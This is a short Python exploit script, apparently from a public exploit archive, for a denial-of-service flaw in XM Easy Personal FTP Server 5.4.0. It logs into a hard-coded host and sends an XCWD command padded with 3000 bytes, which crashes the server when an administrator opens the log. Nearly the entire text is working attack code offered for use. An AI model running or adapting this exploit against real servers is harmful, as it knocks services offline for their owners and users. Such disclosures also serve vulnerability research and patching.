XM Easy Personal FTP Server 5.4.0 (XCWD) Denial of Service Exploit

#!/usr/bin/python
########################################
# XM Easy Personal FTP Server 5.4.0 (XCWD) DoS
#
# When admin looks at the server log, application crashes
#
# Elhamdulillahi Rabbil-alemin!
#
########################################
# bt ~ # ./sploit.py
#
# [+] Saljemo zli bafer
# [+] Now wait until the admin looks at server log
# [+] Finito!
#
########################################
# Vulnerability discovered and coded by Muris Kurgas a.k.a j0rgan
# jorganwd [at] gmail [dot] com
# http://www.jorgan.users.cg.yu
########################################

import struct
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

bafer = '\x41' * 3000
print "\n [+] Saljemo zli bafer "
s.connect(('192.168.190.132',21))
data = s.recv(1024)
s.send('USER ftp' +'\r\n')
data = s.recv(1024)
s.send('PASS lozinka' +'\r\n')
data = s.recv(1024)
print " [+] Now wait until the admin looks at server log "
s.send('XCWD ' +bafer+ '\r\n')
s.close()
print " [+] Gotovo! "


ENJOY